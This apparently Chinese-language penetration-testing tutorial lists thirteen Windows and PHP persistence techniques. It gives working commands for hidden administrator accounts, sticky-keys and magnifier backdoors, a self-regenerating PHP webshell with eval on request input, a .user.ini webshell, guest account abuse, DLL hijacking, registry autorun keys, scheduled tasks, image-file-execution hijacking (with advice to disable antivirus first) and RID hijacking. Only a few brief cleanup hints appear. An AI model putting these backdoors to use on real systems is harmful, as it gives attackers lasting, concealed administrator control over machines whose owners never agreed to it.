渗透之权限维持的13种方法0x1 匿名用户- net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add
复制代码
PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。
可以通过注册表或直接用户管理删除隐藏的用户。
0x2 Shift 后门
- 将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。
- 删除 C:\WINDOWS\system32\ 下的 sethc.exe 文件。
- 重命名 C:\WINDOWS\system32\ 下的 cmd.exe 为 sethc.exe 。
- 按下 5下 shift 即可弹出管理权限的 DOS 窗口。
编辑
0x3 放大镜后门创建 magnify.bat - @echo off
- net user administrator$ woaijiushi /add
- net localgroup administrators hack$ /add
- %Windir%\system32\nagnify.exe
- exit
复制代码
利用bat2com / com2exe,BatToEXE(图形化工具)等工具把Bat文件转换成exe文件, bat2com magnify.bat # 将magnify.bat转换成magnify.com com2exe magnify.com # 将magnify.com转换成magnify.exe
将生成的 magnify.exe 分别替换掉 C:\WINDOWS\system32\dllcache 下的 magnify.exe 和C:\WINDOWS\system32\ 下的 magnify.exe
登陆时通过组合键 Win+U 调用。
上述方法检查及清除
- 检查`“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”`注册表路径中的程序名称
复制代码
其它适用于的辅助功能还有:
1. 屏幕键盘:C:\Windows\System32\osk.exe 2. 放大镜:C:\Windows\System32\Magnify.exe 3. 旁白:C:\Windows\System32\Narrator.exe 4. 显示开关:C:\Windows\System32\DisplaySwitch.exe 5. 应用程序开关:C:\Windows\System32\AtBroker.exe PS:现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。
0x4 隐藏属性后门文件
将木马文件属性改为“隐藏” ,伪装成系统文件或数据库文件等,修改时间跟系统文件时间类似。
0x5 PHP内存型木马(不死马)
创建 inc_data_config.php 文件 - <?php
- set_time_limit(0);
- ignore_user_abort(1);
- unlink(__FILE__);
- while(1){
- file_put_contents('inc_data_config.php','<?php $a=array($_REQUEST["cmd"]=>"3");
- $b=array_keys($a)[0];
- eval($b);?>');
- sleep(5);
- }
- ?>
复制代码
ignore_user_abort() 函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
set_time_limit() 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。 unlink(__FILE__) 删除文件本身,以起到隐蔽自身的作用。
此脚本会每5秒不断的向服务器生成一个“inc_data_config.php”的一句话木马。
清除脚本只需要重启http服务。
0x6 .user.ini文件构成的PHP后门
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中: 我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell
01.gif - <?php @eval($_GET['cmd']); ?>
复制代码
直接访问下面链接即可利用: http://xxx.baidu.com/index.php?cmd=phpinfo();
0x7 使用已经禁用的guest账户进行登录
控制面板\所有控制面板项\用户帐户\管理帐户\启用来宾帐户 - net user guest woaijiushi && net localgroup administrators guest /add
- net user guest /active:yes // 激活guest用户
复制代码
0x8 DLL 劫持
在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。
系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。
PS:WindowsXP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式 若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。
SafeDLLSearchMode启用后,搜索顺序如下:
1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。
6. PATH环境变量中列出的目录。
SafeDLLSearchMode禁用后,搜索顺序如下:
1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
6. PATH环境变量中列出的目录。
DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。结合本文的主题,这里选择劫持系统程序。
可以劫持的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。
0x9 注册表开机自动启动项
1. Load注册键 - HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
复制代码
// 建一个字符串名为load键值
2. Winlogon\Userinit注册键
找到“Userinit”这个键值,这个键值默认为c:\WINNT\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
- HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
复制代码 3. Explorer\Run注册键
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
复制代码 4. RunServicesOnce注册键
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
复制代码 5. 常用注册键
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
复制代码
测试部分成功执行。
编辑
0x10 计划任务
- schtasks /create /sc ONLOGON /tr C:\Windows\System32\cmd.exe /tn test
复制代码 命令详解:
- schtasks /create <创建新的计划任务>
- 参数:
- /sc schedule <schedule>
- ONLOGON
- 每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。
- /tr <TaskRun>
- 指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名;
- 如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。
- /tn <TaskName>
- 指定任务的名称
复制代码
关机重启显示效果
指定时间运行任务
- schtasks /create /sc daily /st 00:00:00 /tr calc.exe /tn test1
复制代码- 参数详解
- /st StartTime
- 以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。/st 参数只对于 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 和 ONCE 计划有效。它只对于 ONCE 计划是必需的。
- schtasks命令详解 schtasks常见错误
- 删除计划任务
复制代码- schtasks /Delete /TN 任务名称 /F
复制代码
0x11 文件夹启动
在每次开机或重启的时候就会运行启动文件夹下的程序。 - C:\Users\ppbibo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
复制代码
0x12 映像劫持
在下面注册表
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
- Image File Execution Options
复制代码
在此路径下创建一个子项,子项的名称为你要劫持的 exe 名称,比如说cmd.exe 然后创建一个值,值名为Debugger, 值为要执行的恶意脚本。
编辑
运行 cmd.exe 时执行成功运行 calc.exe
注意:这个会让安全软件拦截,所以要先退出杀软。
0x13 RID 劫持
新建一个普通用户 admin
在下面注册表中
- HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
复制代码
找到 admin 对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置(即RID的十六进制表示)
编辑
Tips:SAM下的注册表选项需要获得system权限才能读取
查看 administrator 对应键值,数值名称为F ,数值内容 0030 的位置复制到 admin 对应键值,数值名称为F ,数值内容 0030 的位置。
编辑
编辑
点击确定然后关机重启,登陆 admin 用户,效果图如下:
编辑
|